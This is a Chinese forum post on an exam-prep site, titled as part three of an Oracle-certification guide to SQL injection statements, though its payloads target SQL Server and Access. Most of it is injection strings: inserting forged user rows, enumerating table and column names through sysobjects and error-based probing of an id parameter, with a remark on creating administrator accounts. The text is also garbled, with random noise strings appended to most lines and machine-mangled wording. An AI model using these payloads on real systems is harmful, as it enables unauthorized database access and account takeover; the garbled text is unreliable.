a我考网

 找回密码
 立即注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

查看: 53|回复: 0

[综合] oracle认证考试SQL注射语句解析(三)

[复制链接]
发表于 2012-8-4 13:54:49 | 显示全部楼层 |阅读模式
经由过程查看ffff的用户资料可得第一个用表叫ad$ h$ d& q1 \$ s  ?" Y& Q8 X
然后按照表名ad获得这个表的ID 获得第二个表的名字
8 T& z: L% [" O, q0 ^* yinsert into users values( 666,
" n) h5 b0 ]' j: d0 gchar(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),  b! i' G" a) i0 J* s( W+ y
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
- H; Q/ Q2 ^2 J( D* D9 Oinsert into users values( 667,123,123,0xffff)--; x, t9 O7 Z1 K" |, H+ e# z
insert into users values ( 123, ‘admin’‘--’, ‘password’, 0xffff)--
* |4 ~$ j; L% q' P+ B5 t;and user》0
* G5 ?% s: I+ U2 a;and (select count(*) from sysobjects)》0
6 D( _0 ]# C6 k' C. r& P# c# a;and (select count(*) from mysysobjects)》0 //为access数据库, W  \9 q) r& G/ i7 o) _
列举出数据表名; _6 L3 {: I9 |( v7 s1 e
;update aaa set aaa=(select top 1 name from sysobjects where xtype=‘u’ and+ D& ?5 Y2 ^+ E8 [
status》0);--3 P5 e/ f. F7 L- e' ^
这是将第一个表名更新到aaa的字段处。0 G* }, U6 x8 u" Y5 y4 r" ?
读出第一个表,第二个表可以这样读出来(在前提后加上 and name《》‘适才获得的表名’)。
+ G. t: }, R- h9 @;update aaa set aaa=(select top 1 name from sysobjects where xtype=‘u’ and/ a* d) ?# G+ x9 g* t$ q& C
status》0 and name《》‘vote’);--
6 R6 x5 W) k4 E) c" W0 h1 n然后id=1552 and exists(select * from aaa where aaa》5)
' O* K& c" M0 t1 e% k( e4 X/ D读出第二个表,一个个的读出,直到没有为止。
* x2 S% `, s! I- [8 @" k8 ?6 ]9 ^' e读字段是这样:
" S: c8 H2 s7 t% C  d+ D6 ?" U8 };update aaa set aaa=(select top 1 col_name(object_id(‘表名’),1));--
5 A- J' o! l  P. K然后id=152 and exists(select * from aaa where aaa》5)犯错,获得字段名3 M# S4 ?) p4 c# q8 {7 G" [" _, ?& `  Z
;update aaa set aaa=(select top 1 col_name(object_id(‘表名’),2));--
9 f- i- K$ Q4 f# ]) j* g9 q然后id=152 and exists(select * from aaa where aaa》5)犯错,获得字段名: ~$ [/ h4 T. Q3 Q* [
[获得数据表名][将字段值更新为表名,再设法读出这个字段的值就可获得表名]
4 Z* E! J% }0 \4 ]- H% kupdate 表名 set 字段=(select top 1 name from sysobjects where xtype=u and$ Z; V  T9 ?' P
status》0 [ and name《》‘你获得的表名’ 查出一个加一个]) [ where 前提] select top 1 name from  w! e' n9 N3 H$ I5 @' m
sysobjects where xtype=u and status》0 and name not in(‘table1’,‘table2’,…)
4 h/ T6 m4 n  l0 k# P经由过程SQLSERVER注入裂痕建数据库打点员帐号和系统打点员帐号[当前帐号必需是SYSADMIN组]$ h& L5 f+ B5 a# o. }8 w% y5 R( f
[获得数据表字段名][将字段值更新为字段名,再设法读出这个字段的值就可获得字段名]
8 e9 y  R" I$ R' [7 zupdate 表名 set 字段=(select top 1 col_name(object_id(‘要发芽的数据表名’),字段列如:1)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|Woexam.Com ( 湘ICP备18023104号 )

GMT+8, 2024-5-14 17:13 , Processed in 0.178086 second(s), 21 queries .

Powered by Discuz! X3.4 Licensed

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表